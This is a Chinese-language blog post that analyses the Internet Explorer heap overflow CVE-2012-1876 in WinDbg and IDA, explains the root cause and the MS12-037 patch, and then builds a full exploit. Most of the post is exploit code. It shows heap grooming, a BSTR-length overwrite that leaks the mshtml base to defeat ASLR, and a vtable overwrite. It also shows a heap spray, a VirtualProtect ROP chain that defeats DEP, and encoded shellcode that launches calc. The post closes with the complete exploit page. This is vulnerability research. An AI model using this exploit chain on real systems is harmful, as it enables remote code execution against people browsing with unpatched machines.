cve-2012-1876

CVE-2012-1876

简介

  • 这是一个IE浏览器的漏洞,成功利用可实现远程代码执行,在Pwn2own 2012上VUPEN团队就用其攻陷了IE9。错误出在mshtml.dll这个模块的CTableLayout::CalculateMinMax函数里,程序在执行时会以HTML代码中\元素的span属性作为循环控制次数向堆空间写入数据,如果此span值设置的不当,那么就会引发堆溢出问题。其中mshtml.dll模块是IE中的重要组件,它用来解析页面中的HTML和CSS,我们后续的分析也主要集中在此模块中。如下列出了IE中的主要组件,可参考微软的说明。

分析环境

使用的环境 版本号
操作系统 Windows7 旗舰版32位
虚拟机工具 VMware 12.1.1
浏览器 Internet Explorer8 8.0.7600.16385
调试器 WinDbg 6.1
反汇编器 IDA Pro 6.8

基于HPA的漏洞分析方法

  • 本次分析所用的Poc代码如下,主要用于触发崩溃,以方便调试:
<html>  
<body>  
    <table style="table-layout:fixed" >
        <col id="132" width="41" span="1" >&nbsp </col>
    </table>

    <script>

    function over_trigger() {
        var obj_col = document.getElementById("132");
        obj_col.width = "42765";
        obj_col.span = 1000;
    }

    setTimeout("over_trigger();",1);
    </script>
</body>  
</html> 
  • 调试前先用gflags.exe对IE进程开启hpa选项,以支持WinDbg对其调试。接着,用WinDbg附加IE进程后运行,然后打开上面的html文件,并且允许运行活动内容。

gflags.exe开启页堆

  • 使用Windbg附加IE进程(CTRL+E),然后输入!gflag。这就是没有开启页堆。
  • 右键WinDbg打开文件位置,就能找到gflags.exe
  • 按下shift健同事鼠标右键空白处,在此处打开命令窗口。
  • 输入命令gflags /i iexplore.exe +hpa
  • 再次使用Windbg附加IE进程,使用!gflag命令。发现已开启页堆。

WinDbg调试Poc

  • 然后按下g命令继续执行,打开poc.html文件,允许运行,会发现IE崩溃了,但是WinDbg并没有断下来。
  • 导致这种情况的主要原因是IE又衍生出了子进程,而WinDbg默认情况是不支持子进程调试的,可以使用以下命令开启子进程调试
.childdbg 1
  • 附加IE浏览器后,输入.childdbg 1 ,开启子进程调试后,断下。
  • 使用kb命令查看调用堆栈,可以发现edi来源于esi,而这个值是从上层带过来的,因为我们在mshtml!CTableColCalc::AdjustForCol找不到对esi的处理
  • 使用uf命令查看mshtml!CTableColCalc::AdjustForCol
uf mshtml!CTableColCalc::AdjustForCol
  • 通过前面的栈回溯可知,mshtml!CTableColCalc::AdjustForCol的上层函数为mshtml!CTableLayout::CalculateMinMax。我们可以再此函数下断点。下断点时必须确保WinDbg已加载欲调试的子进程,然后等mshtml加载后在下断。
  • 可以使用sxe ld:mshtml命令让子进程在加载mshtml模块时断下,然后通过bp mshtml!CTableLayout::CalculateMinMax进行下断
  • 再次断下的时候,使用lmm mshtml命令,查看是否加载mshtml.dll。
  • 加载后,使用bp命令下断点,bl命令查看断点。
  • 断点下好,使用g命令。断点处果然断下。
  • 使用快捷键Ait+7调出汇编窗口。
  • 使用f8按键,执行到如下图所示:
  • 使用dd poi(ebp+8)
  • 使用ln命令
ln 07159868 
  • 这个地址时会变动的,调试的时候确认。

  • 可见参数1引用的是CTableLayout对象,也就是

    标签在内存中的对象

  • 继续f8,执行到如下图所示的位置:

  • 使用dd命令查看内存

  • 这里ebx+54指向的是table标签中col元素的span属性值,在poc中只有一个span的值1,故此处为1.

  • 使用IDA反汇编mshtml.dll,跟进CTableLayout::CalculateMinMax函数


    • 继续跟进CImplAry::EnsureSizeWorker函数,发现该函数主要用于分配内存。分配内存的大小为span*1,虽然span为1,但最小分配的值为0x1c 乘以 4=0x70。分配内存的地址保存在CtableLayout+0x90:

    • 动态调试执行,查看空间

    • 使用!heap命令查看堆

    • 在下图所示断下:

    • 然后查看内存:

    • 由上可知,span仍为1,并无变化。但是在over_trigger中,我们已经将span设置为1000了,这也是允许的最大值。

    • 我们在mshtml!CTableCol::GetAAspan下断点,让他第二次获得span值时断下。

    • 使用gu命令,是执行完CTableCol::GetAAspan函数返回后断下,获取的返回值保存在eax中,此时获取的span的值为0x3e8,即是1000.

    继续使用IDA漏洞成因

    • 复制的内容相当于width100后得到的数字。(这个数字在不同版本等因素会有略微差异)。不在分析里面的详细算法,在CTableColCalc_AdJustFormat函数中会以10000x1c为计数器循环递增偏移向vulheap堆块中写入数据,最终造成堆溢出。
    • 上图是对CTableColCalc_AdJustFormat函数反汇编部分代码

    分析小结

    • 从上面代码,可知这里分配了0x70大小的内存空间在CtableLayout+0x9c指向的地址
    • CTableLayout::CalculateMinMax的第一个参数为CtableLayout对象,即table标签在内存中的对象。
    • CtableLayout+0x54:span属性值
    • CtableLayout+0x90:保存导致漏洞的vulheap,至少分配了0x70大小的内存
    • CtableLayout+0x94:用于与span想比较的spancmp,当spancmp<<2后小于span才分配漏洞利用堆块
    • 当页面加载时,CTableLayout::CalculateMinMax被首次调用,< col>的span属性值被初始化为1,此时spansum=1,spancmp=0.
    • 由于(spansum<<2)<spansum,因此会调用CImplAry::EnsureSizeWorker函数分配大小为0x1cspansum的内存,但至少分配0x1c4=0x70大小的内存块。
    • 分配内存后spancmp=spansum*4=4,此时(spansum<<2)==spansum,因此不再分配内存
    • 调用over_trigger,CTableLayout::CalculateMinMax第二次调用,但是spansum和spancmp未变,而span的值被改为1000,在复制内容为width100的数据到分配缓冲区时,会以span作为循环计数器写vulheap堆块,但是10000x1c>0x70最终导致堆溢出

    漏洞复现

    第一次溢出

    • 要利用堆溢出漏洞,需要先确定溢出时用于覆盖的内容what和位置where。国外著名安全组织vupen通过构造一连串col元素来控制覆盖数据的长度以覆盖到指定位置,即虚表指针;而前面已经分析过,这里覆盖的内容正是col元素中width值。为了绕过DEP与ASLR的保护VUPEN通过溢出漏洞覆盖 BSTR 字符串长度值,然后通过javaScript读取CButtonLayout 虚表指针,通过固定偏移找到mshtml.dll的基址,用来构造 rop 指令,以此绕过DEP与ASLR
    • 为了绕过ASLR,首先构造堆布局以便将mshtml.dll基址泄露出来。
    • 下面代码就是用于构造堆布局的
    <html>  
    <body>  
    <div id="test"></div>  
    <table style="table-layout:fixed"><col id="132" width="41" span="9">&nbsp;</col></table>  
    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <script language='javascript'>
    var leak_index=-1;
    var dap= "EEEE";  
    while ( dap.length < 480 ) dap += dap;  
    var padding= "AAAA";  
    while ( padding.length < 480) padding += padding;  
    var filler = "BBBB";  
    while ( filler.length < 480) filler += filler;
    var arr=new Array();
    var rra=new Array();
    var div_container=document.getElementById("test");
    div_container.style.cssText="display:none";
    for(var i=0;i<500;i+=2){
    rra[i]=dap.substring(0,(0x100-6)/2);
    arr[i]=padding.substring(0,(0x100-6)/2);
    arr[i+1]=filler.substring(0,(0x100-6)/2);
    var obj=document.createElement("button");
    div_container.appendChild(obj);
    }
    for(var i=200;i<500;i+=2){
    rra[i]=null;
      CollectGarbage();
    }
    </script>  
    </body>  
    </html> 
    
    
    • 上面的javaScript代码首先创建了0x100大小的字符串"EEEE......",接着是同等大小的"AAAA......"和"BBBB......",最后又创建了一个Button元素,即CbuttonLayout对象结构。上面的字符串在IE浏览器中都是BSTR字符串,即”Basic String”的简称,他是包含长度前缀和NULL终止符的Unicode字符串,所以字符数是字节数的一半,这也是前面代码分配字符串时除以2的原因。接着,再从rra数组中间位置开始间隔释放内存,腾出空间供后面0x100大小的对象能够被占用到。最后,构造出来的堆布局如下图所示。

    • 关闭hpa,我们在最开始的地方开启了hpa,这里需要关闭。

    • 释放的位置就是为了在分配vulheap时能够占用到这些释放位置中的一个,当溢出时就可以覆盖到后面的"AAAA......"和"BBBB......"。接下来创建一连串的col元素,占用以前释放"EEEE......"的位置。

    
    <table style="table-layout:fixed"><col id="0" width="41" span="9">&nbsp;</col></table>  
    <table style="table-layout:fixed"><col id="1" width="41" span="9">&nbsp;</col></table>  
    <table style="table-layout:fixed"><col id="2" width="41" span="9">&nbsp;</col></table>  
     ......
    <table style="table-layout:fixed"><col id="132" width="41" span="9">&nbsp;</col></table>  
    
    • 为了确保所分配的vuheap是否用到已释放的"EEEE......",我们在释放内存的函数CollectGarbage上下断,他对应的是jscript.dll中的JsCollectGarbage。javaScript这些函数大都在jscript都能找到对应的api名称,可以通过IDA查看jscript.dll中的导出函数来查找,比如GoolectGarbage对应的就是jscript!JsCollectGarbage,substring对应的就是jscript!JsStrSubString,如下图所示
      .

    • 先通过WinDbg加载IE进程,并执行.childdbg开启子进程调试。因为刚开始IE还没有加载jscript.dll,所以可以先加载jscript.dll时断下。

    
    
    sxe ld:jscript
    
    • 断下后再对JsCollectGarbage函数下断
    bp jscript!JsCollectGarbage
    
    • 因为释放堆块都会用到底层函数ntdll!RtlFreeHeap,所以他的第三个参数为被释放的堆块地址,可以对其下断点。然后记录并输出每个释放堆块地址。下断前可以先把jsCollectGarbage断点禁掉,避免程序被多次中断。
    bu ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
    

    前面的漏洞分析,我们知道分配vulheap堆块的行为是CTableLayout::CalculateMinMax 中调用CImplAry::EnsureSizeWork函数的下一条指令位于mshtml!CTableLayout::CalculatrMinMax+0x16d可以得到vulheap地址。
    *

    bu mshtml!ctablelayout::calculateminmax+0x16d ".echo vulheap;dd poi(ebx+9c) l4;g"
    
    • 因为输出的日志比较多,可以将日志保存在文档中。
     .logopen D:\log.txt
    
    • 记录完毕可使用.lohclose关闭
    .logclose
    
    • 然后输出日志的关键部门如下

    • 由于log输出的vulheap地址较多,可以再下列代码用于溢出前加alert("溢出前")的语句弹窗后,WinDbg输出最后一个vulheap即为用于溢出的堆块。
    • 可以看到前面释放的堆块被后面分配的vulheap占用了,接着通过以下代码实现第一个溢出。
    
    < html>  
    < body>  
    < div id="test">< /div>  
    < table style="table-layout:fixed">< col id="132" width="41" span="9">&nbsp;< /col></table>  
    < meta http-equiv="content-type" content="text/html; charset=UTF-8">
    < script language='javascript'>
    	
    
    var leak_index=-1;
    
    var dap= "EEEE";  
    while ( dap.length < 480 ) dap += dap;  
    var padding= "AAAA";  
    while ( padding.length < 480) padding += padding;  
    var filler = "BBBB";  
    while ( filler.length < 480) filler += filler;
    
    var arr=new Array();
    var rra=new Array();
    var div_container=document.getElementById("test");
    div_container.style.cssText="display:none";
    for(var i=0;i<500;i+=2){
    rra[i]=dap.substring(0,(0x100-6)/2);
    arr[i]=padding.substring(0,(0x100-6)/2);
    arr[i+1]=filler.substring(0,(0x100-6)/2);
    var obj=document.createElement("button");
    div_container.appendChild(obj);
    
    }
    for(var i=200;i<500;i+=2){
    rra[i]=null;
      CollectGarbage();
                    }
    var leak_col = document.getElementById("132");
        leak_col.width = "41";
        leak_col.span = "19";
    //	alert("溢出前");
    </script>  
    </body>  
    </html> 
    	
    	
    
    • 根据前面的漏洞分析,可以知道复制的数据大小为span1c=190x1c=0x214,可以判断出来溢出的数据会覆盖到"BBBB......",在去掉vulheap和"AAAA......"所包含的0x10字节头信息,最后会覆盖带"BBBB......"前面0x214-0x200-0x10=4字节。

    • 运行查看堆空间,如下图所示。

    • 第一次溢出后再次查看堆空间。

    • 观察内存,发现确实完成覆盖。

    获取基址

    • 覆盖BSRC头部的长度值后,再通过javascript读取该字符串,此时就包括CButtonLayout虚表指针。
    • 只需要在上面使用的html文件中加入,如下几行就可以使用:
    function over_trigger(){
    	
    	var leak_addr=-1;
    	for(var i=0;i<500;i++){
    	if(arr[i].length>(0x100-6)/2){
    	
    	leak_index=i;
    	var leak=arr[i].substring((0x100-6)/2+(2+8)/2,(0x100-6)/2+(2+8+4)/2);
    	leak_addr=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16),16);
    	alert("CButtonLayout虚表指针:0x"+leak_addr.toString(16));
    	var mshtmlbase=leak_addr-0x00173af8;
    	alert("mshtml机制:0x"+mshtmlbase.toString(16));
    	break;
    	}
    	}	
    	}
    	setTimeout(function(){over_trigger()}, 450);  
    
    • 可以查看一下虚表偏移,在windbg里面。
    x mshtml!CButtonLayout::*
    

    • 找到虚表地址,我们去刚才的内存中去看一下。
    • 通过以上代码遍历arr数组,找到BSRC字符串长度大于(0x100-6)/2的BSRC字符串,找到后根据固定偏移(0x100-6)/2+(2+8)/2的长度找到CButtonLayout虚表指针的位置,其中0x100-6是指去掉BSTR的四字节长度值和两字节终结符,(2+8)是指2字节终结符和八字节堆指针,因为Unicode字符串都已除以2作为长度计算。
    • 溢出前的0x000000fa正是BSTR字符串的长度,其中一些原本"EEEE......"或者"AAAA......"被替换掉。不同系统环境覆盖情况有可能会不同。
    • CButtonLayout虚表指针和mshtml基址偏移量是固定的,在不同系统版本该偏移量是不同的,需要在调试时确认。

    • 得到mshtml的基址0x685f0000和在WinDbg中看的是一样。

    二次溢出

    为了控制程序的执行流程,我们还需要第二次溢出。覆盖掉前面的CButtonLayout虚表指针。第一次溢出得到了mshtml的基址,进行第二次溢出覆盖虚表指针。

    • 在poc.html 中在加入如下图代码,即可完成第二次溢出。
    function trigger_overflow() {  
        var evil_col = document.getElementById("132");
        evil_col.width = "1178993";
        evil_col.span = "44";
    }
    	
    
    
    • 溢出后会覆盖到前面的CButtonLayout 虚表指针,可以再虚表指针地址下写入断点。
    ba w4 0x350c108
    
    • 断下后查看虚表指针所在的位置。

    • 断下后,可以发现虚表指针已经被覆盖为0x07070024
    • 最后会调用该虚表指针控制程序的执行流程。

    Heap Spary

    • 上面我们使用两次溢出,改变了程序的执行流程。现在开始构造需要的堆空间。在上面我们把虚表指针改为了0x7070024程序最终会执行到那个地址,但是那个地址目前还没有值。这就要用到heap spary。

    • Heap Spray是一种通过比较巧妙的方式控制堆上数据,继而把程序控制流导向ShellCode的古老艺术。在shellcode的前面加上大量的slidecode(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。

    • 直接跑上面的代码,程序会中断在,如下图 所示

    • 查看eax发现,就是我们改变的虚表指针的值。

    • 在我们的代码文件中添加如下代码。

      var paddingg=unescape("%u9090%u9090%u9090%u9090");
       while (paddingg.length < 1000)
    		paddingg=paddingg+paddingg;
    var paddinggs=paddingg.substr(0,1000-shellcode.length);
    
    shellcode+=paddinggs;
    
     while (shellcode.length < 100000)
       shellcode = shellcode + shellcode;
    	   var onemeg = shellcode.substr(0, 64*1024/2);
    	      for (i=0; i<14; i++) {
            onemeg += shellcode.substr(0, 64*1024/2);
    									}
    									
    	  onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
        var spray = new Array();	  
    		   for (i=0; i<100; i++) {
            spray[i] = onemeg.substr(0, onemeg.length);              
    
    
    • 然后WinDbg 附加执行,发现断在如下图所示。

    • 我们在看上边我们申请的堆空间就是9090,已经成功劫持eip。现在需要的就是把需要的shellcode字符串也放入进去一起申请对空间就可以执行shellcode了。

    绕过DEP

    • 现在还有最后的DEP(数据执行保护)。

    • 申请的堆空间是没有执行权限的,可以通过WinDbg使用!address命令查看一下

    • DEP的主要作用是阻止数据页,(默认的堆页、内存池页)执行代码。

    • 可以手动在自己电脑上关闭NX,DEP就被关闭了。

    • DEP是通过PTE的高双字的最高bit即bit63来实现的,这个位置位了,表示此页不可执行。没有置位,表示此页可以执行。

    • 平常使用的是虚拟内存,cpu通过页目录表: 也称为PDE,页表也被称之为PTE.找相应的物理地址。PTE表中就记录了页的属性。如下图所示

    • 这里我们使用VirtualProtect 函数,是Kernel32.dll 里面导出的,是用来改变内存属性的 API 。

    • 一开始执行代码的是eax+8。Win32程序通过esp来控制栈。需要用xchg eax,esp ret这条指令进行换栈。可以使用OD来查找这些指令。直接双击poc.html文件使用OD附加程序

    • 按下Ait+E找到mshtml

    • 双击进入,然后按下Ctrl+s如下图 所示。

    • 我们将其基址+偏移,根据上面获得的mshtml的基址,就可以绕过ASLR,eax中是我们改变的0x7070024,ret,这时候堆就已经是我们的栈了,构造ROP链条绕过DEP。

    • 直接在VirtualProtect这里下断点,断下后查看栈布局。平常不知道怎么构造的时候也可以先写一些demo查看

    • 可以看到我们执行到了VirtualProtect。栈布局这样布置在我们的堆中就可以改变堆的属性。

    • 一直跟进可以看到shellcode的执行,如下图 所示。

    • 执行完毕弹出计算器,如下图 所示。

    漏洞修复

    通过微软官方下载的MS12-037补丁,安装后我们使用WinDbg调试,很容易发现微软的修补方式。当span被改变时,程序重新分配相应大小的堆块,而不是跟以前一样公用一个堆块。通过前面的分析,已知道分配堆块的函数位于CImplAry::EnsureSizeWorker对他下断,观察span更改后的堆块分配情况,很容易发现他的修补方法。
    首次调用时,在poc.html中span的值为1,即下面eax的值如下图 所示。

    • 下面是分配的堆块

    • 通过javascript更改span后,程序重新分配相应大小的堆块。

    • 微软通过改变span的值得时候,程序重新分配相应大小的堆块,而不是跟以前一样公用一个堆块。以解决堆溢出问题。

    总结

    • cve-2012-1876虽然是一个老洞,但还是有不少学习价值的。
    • 现给出完整的shellcode:
    <html>  
    <body>  
    <div id="test"></div>  
    <table style="table-layout:fixed"><col id="132" width="41" span="9">&nbsp;</col></table>  
    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <script language='javascript'>
    	////////////////////////////////
    	//进行ROP链中Gadget地址和参数的布局,并与填充数据以及shellcode拼接完成堆喷数据的初始化
    //最后执行堆喷将这些数据布局到内存中
    function heapspray(cbuttonlayout) {
    
    //alert("cbuttonlayout:0x"+cbuttonlayout.toString(16));
    
     CollectGarbage();
     alert("cbuttonlayout:0x"+cbuttonlayout.toString(16));
     var rop_q=cbuttonlayout+Number(0x0000170d);//ret
      rop_q=rop_q.toString(16);
      var rop_q_1=rop_q.substring(4,8);
      var rop_q_2=rop_q.substring(0,4);
    
     var shellcode=unescape("%u"+rop_q_1+"%u"+rop_q_2);//ret
     var rop_w=cbuttonlayout+Number(0x00002d8d);//pop ecx ret
      rop_w=rop_w.toString(16);
      var rop_w_1=rop_w.substring(4,8);
      var rop_w_2=rop_w.substring(0,4);
    
      shellcode+=unescape("%u"+rop_w_1+"%u"+rop_w_2);//pop ecx ret
    var rop=cbuttonlayout+Number(0x000117ef);
    	 rop=rop.toString(16);
    	var rop1=rop.substring(4,8);
    	var rop2=rop.substring(0,4);
    	
    	shellcode+=unescape("%u"+rop1+"%u"+rop2) ;//jiao huan eax esp
     	var rop_e=Number(0x74f7e4f6);//kernel32!VirtualProtect      
     rop_e=rop_e.toString(16);
    	var rop_e_1=rop_e.substring(4,8);
    	var rop_e_2=rop_e.substring(0,4);
    	
    	shellcode+=unescape("%u"+rop_e_1+"%u"+rop_e_2) ;//push esp ret
       
       /////////////////////////////////////
       //返回到shellcode开始的地方
        shellcode+= unescape("%u0050%u0707");
     shellcode+= unescape("%u0020%u0707");
     shellcode+= unescape("%u2345%u0001");
    	 shellcode+= unescape("%u0040%u0000");
    	 shellcode+= unescape("%u0024%u0707");
     shellcode+= unescape("%u9191%u9191%u9090%u9090%u9090");
     shellcode+= unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" + 
                                 "%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" + 
                                 "%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" + 
                                 "%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" + 
                                 "%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" + 
                                 "%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" + 
                                 "%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" + 
                                 "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" + 
                                 "%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" + 
                                 "%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" + 
                                 "%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" + 
                                 "%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" + 
                                 "%u6c61%u2e63%u7865%u0065");
      var paddingg=unescape("%u9090%u9090%u9090%u9090");
       while (paddingg.length < 1000)
    		paddingg=paddingg+paddingg;
    var paddinggs=paddingg.substr(0,1000-shellcode.length);
    
    shellcode+=paddinggs;
    
     while (shellcode.length < 100000)
       shellcode = shellcode + shellcode;
    	   var onemeg = shellcode.substr(0, 64*1024/2);
    	      for (i=0; i<14; i++) {
            onemeg += shellcode.substr(0, 64*1024/2);
    									}
    									
    	  onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
        var spray = new Array();	  
    		   for (i=0; i<100; i++) {
            spray[i] = onemeg.substr(0, onemeg.length);                    
        }	
    	
    }
    
    var leak_index=-1;
    
    var dap= "EEEE";  
    while ( dap.length < 480 ) dap += dap;  
    var padding= "AAAA";  
    while ( padding.length < 480) padding += padding;  
    var filler = "BBBB";  
    while ( filler.length < 480) filler += filler;
    
    var arr=new Array();
    var rra=new Array();
    var div_container=document.getElementById("test");
    div_container.style.cssText="display:none";
    for(var i=0;i<500;i+=2){
    rra[i]=dap.substring(0,(0x100-6)/2);
    arr[i]=padding.substring(0,(0x100-6)/2);
    arr[i+1]=filler.substring(0,(0x100-6)/2);
    var obj=document.createElement("button");
    div_container.appendChild(obj);
    
    
    }
    
    for(var i=200;i<500;i+=2){
    rra[i]=null;
      CollectGarbage();
    }
    
      var leak_col = document.getElementById("132");
        leak_col.width = "41";
        leak_col.span = "19";
    //	alert("溢出前");
    	
    
    	
    	function over_trigger(){
    var leak_addr=-1;
    	for(var i=0;i<500;i++){
    	if(arr[i].length>(0x100-6)/2){
    	
    	leak_index=i;
    	var leak=arr[i].substring((0x100-6)/2+(2+8)/2,(0x100-6)/2+(2+8+4)/2);
    	leak_addr=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16),16);
    	alert("CButtonLayout虚表指针:0x"+leak_addr.toString(16));
    		var mshtmlbase=leak_addr-0x00173af8;
    	alert("mshtml机制:0x"+mshtmlbase.toString(16));
    	//break;
    	
    	//把地址传递过去
    	setTimeout(function(){heapspray(mshtmlbase)}, 50);  
    	
    	}
    	
    	
    	
    	}
    	
    	
    	
    	
    	}
    //触发第二次堆溢出用以覆盖虚表指针,使程序转到rop处执行
    function trigger_overflow() {  
        var evil_col = document.getElementById("132");
        evil_col.width = "1178993";
        evil_col.span = "44";
    }
    	
    	setTimeout(function(){over_trigger()}, 450);  
    	setTimeout(function(){trigger_overflow()}, 1000);  
    	
    </script>  
    </body>  
    </html> 
    
posted @ 2019-05-18 15:44  一生热爱  阅读(1068)  评论(0)    收藏  举报